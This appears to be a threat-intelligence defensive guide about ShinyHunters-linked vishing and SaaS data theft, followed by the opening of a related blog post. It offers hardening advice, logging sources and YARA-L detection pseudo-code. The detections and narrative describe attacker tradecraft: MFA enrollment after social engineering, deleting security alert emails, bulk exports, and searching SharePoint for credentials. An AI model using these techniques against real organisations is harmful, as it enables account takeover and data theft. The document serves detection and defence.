      • Ensure any default username/passwords have been updated according to the organization’s password policy.
      • Limit the use of ‘local accounts’ that are not managed as part of the organization’s primary centralized IdP.
    • Reducing the scope of non-human accounts (access keys, tokens, and non-human accounts)
      • Where applicable, organizations should implement network restrictions across non-human accounts. 
      • Activity correlating to long-lived tokens (OAuth / API) associated with authorized / trusted applications should be monitored to detect abnormal activity.
    • Limit access to organization resources from managed and compliant devices only. Across managed devices:
      • Implement device posture checks via the Identity Provider.
      • Block access from devices with prolonged inactivity.
      • Block end users ability to enroll personal devices. 
    • Where access from unmanaged devices is required, organizations should: 
      • Limit non-managed devices to web only views.
      • Disable ability to download/store corporate/business data locally on unmanaged personal devices.
      • Limit session durations and prompt for re-authentication with MFA.
    • Rapid enhancement to MFA methods, such as:
      • Removal of SMS, phone call, push notification, and/or email as authentication controls.
      • Requiring strong, phishing resistant MFA methods such as:
        • Authenticator apps that require phishing resistant MFA (FIDO2 Passkey Support may be added to existing methods such as Microsoft Authenticator.)
        • FIDO2 security keys for authenticating identities that are assigned privileged roles.
      • Enforce multi-context criteria to enrich the authentication transaction.
        • Examples include not only validating the identity, but also specific device and location attributes as part of the authentication transaction.
          • For organizations that leverage Google Workspace, these concepts can be enforced by using context-aware access policies.
          • For organizations that leverage Microsoft Entra ID, these concepts can be enforced by using a Conditional Access Policy.
          • For organizations that leverage Okta, these concepts can be enforced by using Okta policies and rules.

    Attackers are consistently targeting non-human identities due to the limited number of detections around them, lack of baseline of normal vs abnormal activity, and common assignment of privileged roles attached to these identities. Organizations should: 

    • Identify and track all programmatic identities and their usage across the environment, including where they are created, which systems they access, and who owns them.

    • Centralize storage in a secrets manager (cloud-native or third-party) and prevent credentials from being embedded in source code, config files, or CI/CD pipelines.

    • Restrict authentication IPs for programmatic credentials so they can only be used from trusted third-party or internal IP ranges wherever technically feasible.

    • Transition to workload identity federation: Where feasible, replace long-lived static credentials (such as AWS access keys or service account keys) with workload identity federation mechanisms (often based on OIDC). This allows applications to authenticate using short-lived, ephemeral tokens issued by the cloud provider, dramatically reducing the risk of credential theft from code repositories and file systems.

    • Enforce strict scoping and resource binding by tying credentials to specific API endpoints, services, or resources. For example, an API key should not simply have “read” access to storage, but be limited to a particular bucket or even a specific prefix, minimizing blast radius if it is compromised.

    • Baseline expected behavior for each credential type (typical access paths, destinations, frequency, and volume) and integrate this into monitoring and alerting so anomalies can be quickly detected and investigated.

    Additional platform-specific hardening measures include: 

    • Okta

      • Enable Okta ThreatInsight to automatically block IP addresses identified as malicious.

      • Restrict Super Admin access to specific network zones (corporate VPN).

    • Microsoft Entra ID

      • Implement common Conditional Access Policies to block unauthorized authentication attempts and restrict high-risk sign-ins.

      • Configure risk-based policies to trigger password changes or MFA when risk is detected.

      • Restrict who is allowed to register applications in Entra ID and require administrator approval for all application registrations.

    • Google Workspace

      • Use Context-Aware Access levels to restrict Google Drive and Admin Console access based on device attributes and IP address.

      • Enforce 2-Step Verification (2SV) for all Google Workspace users.

      • Use Advanced Protection to protect high-risk users from targeted phishing, malware, and account hijacking.

    Infrastructure and Application Platforms 

    Infrastructure and application platforms such as Cloud consoles and SaaS applications are frequent targets for credential harvesting and data exfiltration. Protecting these systems typically requires implementing the previously outlined identity controls, along with platform-specific security guardrails, including:

    • Restrict management-plane access so it’s only reachable from the organization’s network and approved VPN ranges.

    • Scan for and remediate exposed secrets, including sensitive credentials stored across these platforms.

    • Enforce device access controls so access is limited to managed, compliant devices.

    • Monitor configuration changes to identify and investigate newly created resources, exposed services, or other unauthorized modifications.

    • Implement logging and detections to identify:

      • Newly created or modified network security group (NSG) rules, firewall rules, or publicly exposed resources that enable remote access.

      • Creation of programmatic keys and credentials (e.g., access keys).

    • Disable API/CLI access for non-essential users by restricting programmatic access to those who explicitly require it for management-plane operations.

    Platform Specifics

    • GCP

      • Configure security perimeters with VPC Service Controls (VPC-SC) to prevent data from being copied to unauthorized Google Cloud resources even if they have valid credentials.

        Set additional guardrails with organizational policies and deny policies applied at the organization level. This stops developers from introducing misconfigurations that could be exploited by attackers. For example, enforcing organizational policies like “iam.disableServiceAccountKeyCreation” will prevent generating new unmanaged service account keys that can be easily exfiltrated.

      • Apply IAM Conditions to sensitive role bindings. Restrict roles so they only activate if the resource name starts with a specific prefix or if the request comes during specific working hours. This limits the blast radius of a compromised credential.

    • AWS

      • Apply Service Control Policies (SCPs) at the root level of the AWS Organization that limit the attack surface of AWS services. For example, deny access in unused regions, block creation of IAM access keys, and prevent deletion of backups, snapshots, and critical resources.

      • Define data perimeters through Resource Control Policies (RCPs) that restrict access to sensitive resources (like S3 buckets) to only trusted principals within your organization, preventing external entities from accessing data even with valid keys.

      • Implement alerts on common reconnaissance commands such as GetCallerIdentity API calls originating from non-corporate IP addresses. This is often the first reconnaissance command an attacker runs to verify their stolen keys.

    • Azure
      • Enforce Conditional Access Policies (CAPs) that block access to administrative applications unless the device is "Microsoft Entra hybrid joined" and "Compliant." This prevents attackers from accessing resources using their own tools or devices.
      • Eliminate standing admin access and require Just-In-Time (JIT) through Privileged Identity Management (PIM) for elevation for roles such as Global Administrator, mandating an approval workflow and justification for each activation.
      • Enforce the use of Managed Identities for Azure resources accessing other services. This removes the need for developers to handle or rotate credentials for service principals, eliminating the static key attack vector.
    • Source Code Management
      • Enforce Single Sign-On (SSO) with SCIM for automated lifecycle management and mandate FIDO2/WebAuthn to neutralize phishing. Additionally, replace broad access tokens with short-lived, Fine-Grained Personal Access Tokens (PATs) to enforce least privilege.
      • Prevent credential leakage by enabling native "Push Protection" features or implementing blocking CI/CD workflows (such as TruffleHog) that automatically reject commits containing high-entropy strings before they are merged.
      • Mitigate the risk of malicious code injection by requiring cryptographic commit signing (GPG/S/MIME) and mandating a minimum of two approvals for all Pull Requests targeting protected branches.
      • Conduct scheduled historical scans to identify and purge latent secrets that evaded preventative controls, ensuring any compromised credentials are immediately rotated and forensically investigated.
    • Salesforce

    2. Logging

    Modern SaaS intrusions rarely rely on payloads or technical exploits. Instead, Mandiant consistently observes attackers leveraging valid access (frequently gained via vishing or MFA bypass) to abuse native SaaS capabilities such as bulk exports, connected apps, and administrative configuration changes.

    Without clear visibility into these environments, detection becomes nearly impossible. If an organization cannot track which identity authenticated, what permissions were authorized, and what data was exported, they often remain unaware of a campaign until an extortion note appears.

    This section focuses on ensuring your organization has the necessary visibility into identity actions, authorizations, and SaaS export behaviors required to detect and disrupt these incidents before they escalate.

    Identity Provider 

    If an adversary gains access through vishing and MFA manipulation, the first reliable signals will appear in the SSO control plane, not inside a workstation. In this example, the goal is to ensure Okta and Entra ID ogs identify who authenticated, what MFA changes occurred, and where access originated from.

    What to Enable and Ingest into the SIEM

    Okta
    • Authentication events (successful and failed sign-ins)

    • MFA lifecycle events (enrollment/activation and changes to authentication factors or devices)

    • Administrative identity events that capture security-relevant actions (e.g., changes that affect authentication posture)

    Entra ID
    • Authentication events

    • Audit logs for MFA changes / authentication method

    • Audit logs for security posture changes that affect authentication

      • Conditional Access policy changes

      • Changes to Named Locations / trusted locations

    What “Good” Looks Like Operationally

    You should be able to quickly identify:

    • Authentication factor, device enrollment activity, and the user responsible

    • Source IP, geolocation, (and ASN if available) associated with that enrollment

    • Whether access originated from the organization’s expected egress and identify access paths

    Platform

    Google Workspace Logging 

    Defenders should ensure they have visibility into OAuth authorizations, mailbox deletion activity (including deletion of security notification emails), and Google Takeout exports

    What You Need in Place Before Logging
    • Correct edition + investigation surfaces available: Confirm your Workspace edition supports the Audit and investigation tool and the Security Investigation tool (if you plan to use it).

    • Correct admin privileges: Ensure the account has Audit & Investigation privilege (to access OAuth/Gmail/Takeout log events) and Security Center privilege.

    • If you need Gmail message content: Validate edition + privileges allow viewing message content during investigations.

    What to Enable and Ingest into the SIEM

    OAuth / App authorization logs

    Enable and ingest token/app authorization logs to observe:

    • Which application was authorized (app name + identifier)

    • Which user granted access

    • What scopes were granted

    • Source IP and geolocation for the authorization

    This is the telemetry required to detect suspicious app authorizations and add-on enablement that can support mailbox manipulation.

    Gmail audit logs

    Enable and ingest Gmail audit events that capture:

    • Message deletion actions (including permanent delete where available)

    • Message direction indicators (especially useful for outbound cleanup behavior)

    • Message metadata (e.g., subject) to support detection of targeted deletions of security notification emails

    Google Takeout audit logs

    Enable and ingest Takeout logs to capture:

    • Export initiation and completion events

    • User and source IP/geo for the export activity

    Salesforce Logging 

    Activity observed by Mandiant includes the use of Salesforce Data Loader and large-scale access patterns that won’t be visible if only basic login history logs are collected. Additional Salesforce telemetry that captures logins, configuration changes, connected app/API activity, and export behavior is needed to investigate SaaS-native exfiltration. Detailed implementation guidance for these visibility gaps can be found in Mandiant’s Targeted Logging and Detection Controls for Salesforce.

    What You Need in Place Before Logging
    • Entitlement check (must-have)
      • Most security-relevant Salesforce logs are gated behind Event Monitoring, delivered through Salesforce Shield or the Event Monitoring add-on. Confirm you are licensed for the event types you plan to use for detection.
    • Choose the collection method that matches your operations
      • Use real-time event monitoring (RTEM) if you need near real-time detection.
      • Use event log files (ELF) if you need predictable batch exports for long-term storage and retrospective investigations.
      • Use event log objects (ELO) if you require queryable history via Salesforce Object Query Language (often requires Shield/add-on).
    • Enable the events you intend to detect on
      • Use Event Manager to explicitly turn on the event categories you plan to ingest, and ensure the right teams have access to view and operationalize the data (profiles/permission sets).
    • Threat Detection and Enhanced Transaction Security
      • If your environment uses Threat Detection or ETS, verify the event types that feed those controls and ensure your log ingestion platform doesn’t omit the events you expect to alert on.
    What to Enable and Ingest into the SIEM

    Authentication and access

    • LoginHistory (who logged in, when, from where, success/failure, client type)

    • LoginEventStream (richer login telemetry where available)

    Administrative/configuration visibility

    • SetupAuditTrail (changes to admin and security configurations)

    API and export visibility

    • ApiEventStream (API usage by users and connected apps)

    • ReportEventStream (report export/download activity)

    • BulkApiResultEvent (bulk job result downloads—critical for bulk extraction visibility)

    Additional high-value sources (if available in your tenant)

    • LoginAsEventStream (impersonation / “login as” activity)

    • PermissionSetEvent (permission grants/changes)

    SaaS Pivot Logging 

    Threat actors often pivot from compromised SSO providers into additional SaaS platforms, including DocuSign and Atlassian. Ingesting audit logs from these platforms into a SIEM environment enables the detection of suspicious access and large-scale data exfiltration following an identity compromise.

    What You Need in Place Before Logging
    • You need tenant-level admin permissions to access and configure audit/event logging.

    • Confirm your plan/subscriptions include the audit/event visibility you are trying to collect (Atlassian org audit log capabilities can depend on plan/Guard tier; DocuSign org-level activity monitoring is provided via DocuSign Monitor).

    • API access (If you are pulling logs programmatically): Ensure the tenant is able to use the vendor’s audit/event APIs (DocuSign Monitor API; Atlassian org audit log API/webhooks depending on capability).

    • Retention reality check: Validate the platform’s native audit-log retention window meets your investigation needs.

    What to Enable and Ingest into the SIEM

    DocuSign (audit/monitoring logs)

    • Authentication events (successful/failed sign-ins, SSO vs password login if available)

    • Administrative changes (user/role changes, org-level setting changes)

    • Envelope access and bulk activity (envelope viewed/downloaded, document downloaded, bulk send, bulk download/export where available)

    • API activity (API calls, integration keys/apps used, client/app identifiers)

    • Source context (source IP/geo, user agent/client type)

    Atlassian (Jira/Confluence audit logs)

    • Authentication events (SSO sign-ins, failed logins)

    • Privilege and admin changes (role/group membership changes, org admin actions)

    • Confluence/Jira data access at scale:

      • Confluence: space/page view/download/export events (especially exports)

      • Jira: project access, issue export, bulk actions (where available)

    • API token and app activity (API token created/revoked, OAuth app connected, marketplace app install/uninstall)

    • Source context (source IP/geolocation, user agent/client type)

    Microsoft 365 Audit Logging 

    Mandiant has observed threat actors leveraging PowerShell to download sensitive data from SharePoint and OneDrive as part of this campaign. To detect the activity, it is necessary to ingest M365 audit telemetry that records file download operations along with client context (especially the user agent).

    What You Need in Place Before Logging
    • Microsoft Purview Audit is available and enabled: Your tenant must have Microsoft Purview Audit turned on and usable (Audit “Standard” vs “Premium” affects capabilities/retention).

    • Correct permissions to view/search audit: Assign the compliance/audit roles required to access audit search and records.

    • SharePoint/OneDrive operations are present in the Unified Audit Log: Validate that SharePoint/OneDrive file operations are being recorded (this is where operations like file download/access show up).

    • Client context is captured: Confirm audit records include UserAgent (when provided by the client) so you can identify PowerShell-based access patterns in SharePoint/OneDrive activity.

    What to Enable and Ingest into the SIEM
    • FileDownloaded and FileAccessed (SharePoint/OneDrive)

    • User agent/client identifier (to surface WindowsPowerShell-style user agents)

    • User identity, source IP, geolocation

    • Target resource details

    3. Detections

    The following detections target behavioral patterns Mandiant has identified in ShinyHunters related intrusions. In these scenarios, attackers typically gain initial access by compromising SSO platforms or manipulating MFA controls, then leverage native SaaS capabilities to exfiltrate data and evade detection.The following use cases are categorized by area of focus, including Identity Providers and Productivity Platforms. 

    Note: This activity is not the result of a security vulnerability in vendors' products or infrastructure. Instead, these intrusions rely on the effectiveness of ShinyHunters related intrusions.

    Implementation Guidelines

    These rules are presented as YARA-L pseudo-code to prioritize clear detection logic and cross-platform portability. Because field names, event types, and attribute paths vary across environments, consider the following variables:

    • Ingestion Source: Differences in how logs are ingested into Google SecOps.

    • Parser Mapping: Specific UDM (Unified Data Model) mappings unique to your configuration.

    • Telemetry Availability: Variations in logging levels based on your specific SaaS licensing.

    • Reference Lists: Curated allowlists/blocklists the organization will need to create to help reduce noise and keep alerts actionable.

    Note: Mandiant recommends testing these detections prior to deployment by validating the exact event mappings in your environment and updating the pseudo-fields to match your specific telemetry.

    Okta

    MFA Device Enrollment or Changes (Post-Vishing Signal)

    Detects MFA device enrollment and MFA life cycle changes that often occur immediately after a social-engineered account takeover. When this alert is triggered, immediately review the affected user’s downstream access across SaaS applications (Salesforce, Google Workspace, Atlassian, DocuSign, etc.) for signs of large-scale access or data exports.

    Why this is high-fidelity: In this intrusion pattern, MFA manipulation is a primary “account takeover” step. Because MFA lifecycle events are rare compared to routine logins, any modification occurring shortly after access is gained serves as a high-fidelity indicator of potential compromise.

    Key signals

    • Okta system Log MFA lifecycle events (enroll/activate/deactivate/reset)

    • principal.user, principal.ip, client.user_agent, geolocation/ASN (if enriched)

    • Optional: proximity to password reset, recovery, or sign-in anomalies (same user, short window)

    Pseudo-code (YARA-L)

    events:
    $mfa.metadata.vendor_name = "Okta"
    $mfa.metadata.product_event_type in ( "okta.user.mfa.factor.enroll", "okta.user.mfa.factor.activate",  "okta.user.mfa.factor.deactivate", "okta.user.mfa.factor.reset_all" )
    $u= $mfa.principal.user.userid
    $t_mfa = $mfa.metadata.event_timestamp
    
    $ip = coalesce($mfa.principal.ip, $mfa.principal.asset.ip)
    $ua = coalesce($mfa.network.http.user_agent, $mfa.extracted.fields["userAgent"], "") 
    
    $reset.metadata.vendor_name = "Okta"
    $reset.metadata.product_event_type in (
    "okta.user.password.reset",  "okta.user.account.recovery.start" )
    $t_reset = $reset.metadata.event_timestamp
    
    $auth.metadata.vendor_name = "Okta"
    $auth.metadata.product_event_type in ("okta.user.authentication.sso", "okta.user.session.start")
    $t_auth = $auth.metadata.event_timestamp
    
    match:
    $u over 30m
    
    condition:
    // Always alert on MFA lifecycle change
    $mfa and
    // Optional sequence tightening (enrichment only, not mandatory):
    // If reset/auth exists in the window, enforce it happened before the MFA change.
    (
    (not $reset and not $auth) or
    (($reset and $t_reset < $t_mfa) or ($auth and $t_auth < $t_mfa))
    )
    Suspicious admin.security Actions from Anonymized IPs

    Alert on Okta admin/security posture changes when the admin action occurs from suspicious network context (proxy/VPN-like indicators) or immediately after an unusual auth sequence.

    Why this is high-fidelity: Admin/security control changes are low volume and can directly enable persistence or reduce visibility.

    Key signals

    • Okta admin/system events (e.g., policy changes, MFA policy, session policy, admin app access)

    • “Anonymized” network signal: VPN/proxy ASN, “datacenter” reputation, TOR list, etc.

    • Actor uses unusual client/IP for admin activity

    Reference lists

    • VPN_TOR_ASNS (proxy/VPN ASN list)

    Pseudo-code (YARA-L)

    events:
    $a.metadata.vendor_name = "Okta"
    $a.metadata.product_event_type in ("okta.system.policy.update","okta.system.security.change","okta.user.session.clear","okta.user.password.reset","okta.user.mfa.reset_all")  
    userid=$a.principal.user.userid
    // correlate with a recent successful login for the same actor if available
    $l.metadata.vendor_name = "Okta"
    $l.metadata.product_event_type = "okta.user.authentication.sso"
    userid=$l.principal.user.userid
    
    match:
    userid over 2h
    
    condition:
    $a and $l

    Google Workspace

    OAuth Authorization for ToogleBox Recall

    Detects OAuth/app authorization events for ToogleBox recall (or the known app identifier), indicating mailbox manipulation activity.

    Why this is high-fidelity: This is a tool-specific signal tied to the observed “delete security notification emails” behavior.

    Key signals

    • Workspace OAuth / token authorization log event

    • App name, app ID, scopes granted, granting user, source IP/geo

    • Optional: privileged user context (e.g., admin, exec assistant)

    Pseudo-code (YARA-L)

    events:
    $e.metadata.vendor_name = "Google Workspace"
    $e.metadata.product_event_type in ("gws.oauth.grant", "gws.token.authorize") // placeholders
    // match app name OR app id if you have it
    (lower($e.target.application) contains "tooglebox" or
    lower($e.target.application) contains "recall")
    condition:
    $e
    Gmail Deletion of Okta Security Notification Email

    Detects deletion actions targeting Okta security notification emails (e.g., “Security method enrolled”).

    Why this is high-fidelity: Targeted deletion of security notifications is intentional evasion, not normal email behavior.

    Key signals

    • Gmail audit log delete/permanent delete (or mailbox cleanup) event

    • Subject matches a small set of security-notification strings

    • Time correlation: deletion shortly after receipt (optional)

    Pseudo-code (YARA-L)

    events:
    $d.metadata.vendor_name = "Google Workspace"
    $d.metadata.product_event_type in ("gws.gmail.message.delete",
                                           "gws.gmail.message.trash",
                                           "gws.gmail.message.permanent_delete") // PLACEHOLDER
    regex_match(lower($d.target.email.subject),
    "(security method enrolled|new sign-in|new device|mfa|authentication|verification)")
    $u = $d.principal.user.userid
    $t = $d.metadata.event_timestamp
    
    match:
    $u over 30m
    
    condition:
    $d and count($d) >= 2   // tighten: at least 2 in 30m; adjust if too strict
    }
    Google Takeout Export Initiated/Completed

    Detects Google Takeout export initiation/completion events.

    Why this is high-fidelity: Takeout exports are uncommon in corporate contexts; in this campaign they represent a direct data export path.

    Key signals

    • Takeout audit events (e.g., initiated, completed)

    • User, source IP/geo, volume

    Reference lists

    • TAKEOUT_ALLOWED_USERS (rare; HR offboarding workflows, legal export workflows)

    Pseudo-code (YARA-L)

    events:
    $start.metadata.vendor_name = "Google Workspace"
    $start.metadata.product_event_type = "gws.takeout.export.start"      
    $user = $start.principal.user.userid
    $job  = $start.target.resource.id   // if available; otherwise remove job join
    
    $done.metadata.vendor_name = "Google Workspace"
    $done.metadata.product_event_type  = "gws.takeout.export.complete"   
    $bytes = coalesce($done.target.file.size, $done.extensions.bytes_exported)
    
    match:
    // takeout can take hours; don't use 10m here, adjust accordingly
    $start.principal.user.userid = $done.principal.user.userid over 24h
    // if you have a job/export id, this makes it *much* cleaner
    $start.target.resource.id = $done.target.resource.id
    condition:
    $start and $done and
    $start.metadata.event_timestamp < $done.metadata.event_timestamp and
    $bytes >= 500000000   // 500MB start point; tune
    not ($u in %TAKEOUT_ALLOWED_USERS) // OPTIONAL: remove if you don't maintain it

    Cross-SaaS

    Attempted Logins from Known Campaign Proxy/IOC Networks

    Detects authentication attempts across SaaS/SSO providers originating from IPs/ASNs associated with the campaign.

    Why this is high-fidelity: These IPs and ASNs lack legitimate business overlap; matches indicate direct interaction between compromised credentials and known adversary-controlled infrastructure.

    Key signals

    • Authentication attempts across Okta / Salesforce / Workspace / Atlassian / DocuSign

    • principal.ip matches IOC IPs or ASN list

    Reference lists

    • SHINYHUNTERS_PROXY_IPS

    • VPN_TOR_ASNS

    Pseudo-code (YARA-L)

    events:
    $e.metadata.product_event_type in (
          "okta.login.attempt", "workday.sso.login.attempt",
          "gws.login.attempt",  "salesforce.login.attempt",
          "atlassian.login.attempt", "docusign.login.attempt"
        ) 
    (
          $e.principal.ip in %SHINYHUNTERS_PROXY_IPS or
          $e.principal.ip.asn in %VPN_TOR_ASNS
    )
    
    condition:
    $e
    Identity Activity Outside Normal Business Hours

    Detects identity events occurring outside normal business hours, focusing on high-risk actions (sign-ins, password reset, new MFA enrollment and/or device changes).

    Why this is high-fidelity: A strong indication of abnormal user behavior when also constrained to sensitive actions and users who rarely perform them.

    Key signals

    • User sign-ins, password resets, MFA enrollment, device registrations

    • Timestamp bucket: late evening / friday afternoon / weekends

    Pseudo-code (YARA-L)

    events:
    $e.metadata.vendor_name = "Okta"
    $e.metadata.product_event_type in ("okta.user.password.reset","okta.user.mfa.factor.activate","okta.user.mfa.factor.reset_all") // PLACEHOLDER
    outside_business_hours($e.metadata.event_timestamp, "America/New_York") 
    // Include the business hours your organization functions in
    $u = $e.principal.user.userid
    
    condition:
    $e
    Successful Sign-in From New Location and New MFA Method

    Detects a successful login that is simultaneously from a new geolocation and uses a newly registered MFA method.

    Why this is high-fidelity: This pattern represents a compound condition that aligns with MFA manipulation and unfamiliar access context.

    Key signals

    • Successful authentication

    • New geolocation compared to user baseline

    • New factor method compared to user baseline (or recent MFA enrollment)

    • Optional sequence: MFA enrollment occurs after login

    Pseudo-code (YARA-L)

    events:
    $login.metadata.vendor_name = "Okta"
    $login.metadata.product_event_type = "okta.login.success" 
    $u = $login.principal.user.userid
    $geo = $login.principal.location.country
    $t_l = $login.metadata.event_timestamp
    $m = $login.security_result.auth_method // if present; otherwise join to factor event
    
    condition:
    $login and
    first_seen_country_for_user($u, $geo) and
    first_seen_factor_for_user($u, $m)
    Multiple MFA Enrollments Across Different Users From the Same Source IP

    Detects the same source IP enrolling/changing MFA for multiple users in a short window.

    Why this is high-fidelity:This pattern mirrors a known social engineering tactic where threat actors manipulate help desk admins to enroll unauthorized devices into a victim’s MFA - spanning multiple users from the same source address

    Key signals

    • Okta MFA lifecycle events

    • Same src_ip

    • Distinct user count threshold

    • Tight window

    Pseudo-code (YARA-L)

    events:
    $m.metadata.vendor_name = "Okta"
    $m.metadata.product_event_type in ("<OKTA_MFA_ENROLL_EVENT>", "<OKTA_MFA_DEVICE_ENROLL_EVENT>") 
    $ip  = coalesce($m.principal.ip, $m.principal.asset.ip)
    $uid = $m.principal.user.userid
    
    match:
    $ip over 10m
    
    condition:
    count_distinct($uid) >= 3

    Network

    Web/DNS Access to Credential Harvesting, Portal Impersonation Domains

    Detects DNS queries or HTTP referrers matching brand and SSO/login keyword lookalike patterns.

    Why this is high-fidelity: Captures credential-harvesting infrastructure patterns when you have network telemetry.

    Key signals

    • DNS question name or HTTP referrer/URL

    • Regex match for brand + SSO keywords

    • Exclusions for your legitimate domains

    Reference lists

    • Allowlist (small) of legitimate domains (optional)

    Pseudo-code (YARA-L)

    events:
    $event.metadata.event_type in ("NETWORK_HTTP", "NETWORK_DNS")
    // pick ONE depending on which log source you're using most
    // DNS:
    $domain = lower($event.network.dns.questions.name)
    // If you’re using HTTP instead, swap the line above to:
    // $domain = lower($event.network.http.referring_url)
    
    condition:
    regex_match($domain, ".*(yourcompany(my|sso|internal|okta|access|azure|zendesk|support)|(my|sso|internal|okta|access|azure|zendesk|support)yourcompany).*"
    )
    and not regex_match($domain, ".*yourcompany\\.com.*")
    and not regex_match($domain, ".*okta\\.yourcompany\\.com.*")

    Microsoft 365

    M365 SharePoint/OneDrive: FileDownloaded with WindowsPowerShell User Agent

    Detects SharePoint/OneDrive downloads with PowerShell user-agent that exceed a byte threshold or count threshold within a short window.

    Why this is high-fidelity: PowerShell-driven SharePoint downloading and burst volume indicates scripted retrieval.

    Key signals

    • FileDownloaded/FileAccessed

    • User agent contains PowerShell

    • Bytes transferred OR number of downloads in window

    • Timestamp window (ordering implicit) and min<max check

    Pseudo-code (YARA-L)

    events:
      $e.metadata.vendor_name = "Microsoft"
      (
        $e.target.application = "SharePoint" or
        $e.target.application = "OneDrive"
      )
      $e.metadata.product_event_type = /FileDownloaded|FileAccessed/
      $e.network.http.user_agent = /PowerShell/ nocase
      $user = $e.principal.user.userid
      $bytes = coalesce($e.target.file.size, $e.extensions.bytes_transferred) 
      $ts = $e.metadata.event_timestamp
    
    match:
      $user over 15m
    
    condition:
      // keep your PowerShell constraint AND require volume
      $e and (sum($bytes) >= 500000000 or count($e) >= 20) and min($ts) < max($ts)
    M365 SharePoint: High Volume Document FileAccessed Events

    Detects SharePoint document file access events that exceed a count threshold and minimum unique file types within a short window.

    Why this is high-fidelity: Burst volume may indicate scripted retrieval or usage of the Open-in-App feature within SharePoint.

    Key signals

    • FileAccessed

    • Filtering on common document file types (e.g., PDF) 

    • Number of downloads in window

    • Minimum unique file types

    Pseudo-code (YARA-L)

    events:
      $e.metadata.vendor_name = "Microsoft"
      $e.metadata.product_event_type = "FileAccessed"
      $e.target.application = "SharePoint"
      $e.target.file.full_path = /\.(doc[mx]?|xls[bmx]?|ppt[amx]?|pdf)$/ nocase)
      $file_extension_extract = re.capture($e.target.file.full_path, `\.([^\.]+)$`)
      $session_id = $e.network.session_id
    
    match:
      $session_id over 5m
    
    outcome:
      $target_url_count = count_distinct(strings.coalesce($e.target.file.full_path))
      $extension_count = count_distinct($file_extension_extract)
    
    condition:
      $e and $target_url_count >= 50 and $extension_count >= 3
    M365 SharePoint: High Volume Document FileDownloaded Events

    Detects SharePoint document file downloaded events that exceed a count threshold and minimum unique file types within a short window.

    Why this is high-fidelity: Burst volume may indicate scripted retrieval, which may also be generated by legitimate backup processes.

    Key signals

    • FileDownloaded

    • Filtering on common document file types (e.g., PDF) 

    • Number of downloads in window

    • Minimum unique file types

    Pseudo-code (YARA-L)

    events:
      $e.metadata.vendor_name = "Microsoft"
      $e.metadata.product_event_type = "FileDownloaded"
      $e.target.application = "SharePoint"
      $e.target.file.full_path = /\.(doc[mx]?|xls[bmx]?|ppt[amx]?|pdf)$/ nocase)
      $file_extension_extract = re.capture($e.target.file.full_path, `\.([^\.]+)$`)
      $session_id = $e.network.session_id
    
    match:
      $session_id over 5m
    
    outcome:
      $target_url_count = count_distinct(strings.coalesce($e.target.file.full_path))
      $extension_count = count_distinct($file_extension_extract)
    
    condition:
      $e and $target_url_count >= 50 and $extension_count >= 3
    M365 SharePoint: Query for Strings of Interest

    Detects SharePoint queries for files relating to strings of interest, such as sensitive documents, clear-text credentials, and proprietary information.

    Why this is high-fidelity: Multiple searches for strings of interest by a single account occurs infrequently. Generally, users will search for project or task specific strings rather than general labels (e.g., “confidential”).

    Key signals

    • SearchQueryPerformed

    • Filtering on strings commonly associated with sensitive or privileged information 

    Pseudo-code (YARA-L)

    events:
      $e.metadata.vendor_name = "Microsoft"
      $e.metadata.product_event_type = "SearchQueryPerformed"
      $e.target.application = "SharePoint"
      $e.additional.fields["search_query_text"] = /\bpoc\b|proposal|confidential|internal|salesforce|vpn/ nocase
    
    condition:
      $e
    M365 Exchange Deletion of MFA Modification Notification Email

    Detects deletion actions targeting Okta and other platform security notification emails (e.g., “Security method enrolled”).

    Why this is high-fidelity: Targeted deletion of security notifications can be intentional evasion and is not typically performed by email users.

    Key signals

    • M365 Exchange audit log delete/permanent delete (or mailbox cleanup) event

    • Subject matches a small set of security-notification strings

    • Time correlation: deletion shortly after receipt (optional)

    Pseudo-code (YARA-L)

    events:
      $e.metadata.vendor_name = "Microsoft"
      $e.target.application = "Exchange"
      $e.metadata.product_event_type = /^(SoftDelete|HardDelete|MoveToDeletedItems)$/ nocase
      $e.network.email.subject = /new\s+(mfa|multi-|factor|method|device|security)|\b2fa\b|\b2-Step\b|(factor|method|device|security|mfa)\s+(enroll|registered|added|change|verify|updated|activated|configured|setup)/ nocase
    
      // filtering specifically for new device registration strings
      $e.network.email.subject = /enroll|registered|added|change|verify|updated|activated|configured|setup/ nocase
    
      // tuning out new device logon events
      $e.network.email.subject != /(sign|log)(-|\s)?(in|on)/ nocase
    
    condition:
      $e

    Vishing for Access: Tracking the Expansion of ShinyHunters-Branded SaaS Data Theft

    30 January 2026 at 15:00

    Introduction 

    Mandiant has identified an expansion in threat activity that uses tactics, techniques, and procedures (TTPs) consistent with prior ShinyHunters-branded extortion operations. These operations primarily leverage sophisticated voice phishing (vishing) and victim-branded credential harvesting sites to gain initial access to corporate environments by obtaining single sign-on (SSO) credentials and multi-factor authentication (MFA) codes. Once inside, the threat actors target cloud-based software-as-a-service (SaaS) applications to exfiltrate sensitive data and internal communications for use in subsequent extortion demands.

    Google Threat Intelligence Group (GTIG) is currently tracking this activity under multiple threat clusters (UNC6661, UNC6671, and UNC6240) to enable a more granular understanding of evolving partnerships and account for potential impersonation activity. While this methodology of targeting identity providers and SaaS platforms is consistent with our prior observations of threat activity preceding ShinyHunters-branded extortion, the breadth of targeted cloud platforms continues to expand as these threat actors seek more sensitive data for extortion. Further, they appear to be escalating their extortion tactics with recent incidents including harassment of victim personnel, among other tactics.

    This activity is not the result of a security vulnerability in vendors' products or infrastructure. Instead, it continues to highlight the effectiveness of social engineering and underscores the importance of organizations moving towards phishing-resistant MFA where possible. Methods such as FIDO2 security keys or passkeys are resistant to social engineering in ways that push-based or SMS authentication are not.

    Mandiant has also published a comprehensive guide with proactive hardening and detection recommendations, and Google published a detailed walkthrough for operationalizing these findings within Google Security Operations.

    attack path diagram

    Figure 1: Attack path diagram

    UNC6661 Vishing and Credential Theft Activity

    In incidents spanning early to mid-January 2026, UNC6661 pretended to be IT staff and called employees at targeted victim organizations claiming that the company was updating MFA settings. The threat actor directed the employees to victim-branded credential harvesting sites to capture their SSO credentials and MFA codes, and then registered their own device for MFA. The credential harvesting domains attributed to UNC6661 commonly, but not exclusively, use the format <companyname>sso.com or <companyname>internal.com and have often been registered with NICENIC.

    In at least some cases, the threat actor gained access to accounts belonging to Okta customers. Okta published a report about phishing kits targeting identity providers and cryptocurrency platforms, as well as follow-on vishing attacks. While they associate this activity with multiple threat clusters, at least some of the activity appears to overlap with the ShinyHunters-branded operations tracked by GTIG.

